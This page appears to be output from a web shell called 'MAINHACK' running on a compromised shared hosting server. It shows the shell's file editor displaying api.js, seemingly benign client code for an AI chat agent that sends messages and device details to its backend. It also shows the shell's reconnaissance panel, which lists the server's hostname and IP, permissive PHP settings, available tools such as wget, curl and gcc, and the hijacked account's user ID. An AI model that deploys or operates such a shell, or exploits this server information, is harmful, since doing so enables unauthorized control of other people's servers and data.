[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api.js
import { useChatStore } from '@agent/state/chat'; import { useGlobalStore } from '@agent/state/global'; import { useWorkflowStore } from '@agent/state/workflows'; import { tools } from '@agent/workflows/workflows'; import { AI_HOST } from '@constants'; import { digest } from '@shared/api/digest'; import { reqDataBasics } from '@shared/lib/data'; const extra = () => { const { x, y, width, height } = useGlobalStore.getState(); return { userAgent: window?.navigator?.userAgent, vendor: window?.navigator?.vendor || 'unknown', platform: window?.navigator?.userAgentData?.platform || window?.navigator?.platform || 'unknown', mobile: window?.navigator?.userAgentData?.mobile, width: window.innerWidth, height: window.innerHeight, screenHeight: window.screen.height, screenWidth: window.screen.width, orientation: window.screen.orientation?.type, touchSupport: 'ontouchstart' in window || navigator.maxTouchPoints > 0, agentUI: { x, y, width, height }, }; }; export const pickWorkflow = async ({ workflows, options }) => { const { failedWorkflows, context } = window.extAgentData; const failed = failedWorkflows ?? new Set(); const filteredWorkflows = workflows.filter((wf) => !failed.has(wf.id)); const { workflowHistory: pastWorkflows, block } = useWorkflowStore.getState(); const messages = useChatStore.getState().getMessagesForAI(); const lastAssistantMessage = useChatStore .getState() .getLastAssistantMessage(); const response = await fetch(`${AI_HOST}/api/agent/find-agent`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, signal: options?.signal, body: JSON.stringify({ ...reqDataBasics, workflows: filteredWorkflows, previousAgentName: pastWorkflows.at(0)?.agentName, previousWorkflow: { lastMessage: lastAssistantMessage?.details?.content, sessionId: lastAssistantMessage?.details?.sessionId, ...pastWorkflows?.at(0), }, context, agentContext: window.extAgentData.agentContext, messages: messages.slice(-5), hasBlock: Boolean(block), // todo: remove this blockDetails: block, ...options, extra: extra(), }), }); if (!response.ok) { digest({ error: { name: response.statusText, messages: response.statusMessage, }, details: { source: 'agent', caller: 'pick-workflow' }, }); const error = new Error('Bad response from server'); error.response = response; throw error; } return await response.json(); }; export const handleWorkflow = async ({ workflow, workflowData, options }) => { const messages = useChatStore.getState().getMessagesForAI(); const response = await fetch(`${AI_HOST}/api/agent/handle-workflow`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, signal: options?.signal, body: JSON.stringify({ ...reqDataBasics, workflow, workflowData, messages: messages, context: window.extAgentData.context, agentContext: window.extAgentData.agentContext, retry: options?.retry || false, extra: extra(), }), }); if (!response.ok) throw new Error('Bad response from server'); return await response.json(); }; export const rateAnswer = ({ answerId, rating }) => fetch(`${AI_HOST}/api/agent/rate-workflow`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ answerId, rating }), }).catch((error) => digest({ error: error, details: { source: 'agent', caller: 'rateAnswer', answerId, rating }, }), ); export const callTool = async ({ tool, inputs }) => { if (!tools[tool]) throw new Error(`Tool ${tool} not found`); return await tools[tool](inputs); }; export const recordAgentActivity = ({ action, sessionId, value = {} }) => { return fetch(`${AI_HOST}/api/agent/activities`, { keepalive: true, method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ ...reqDataBasics, action, sessionId, value, }), }); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.52 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830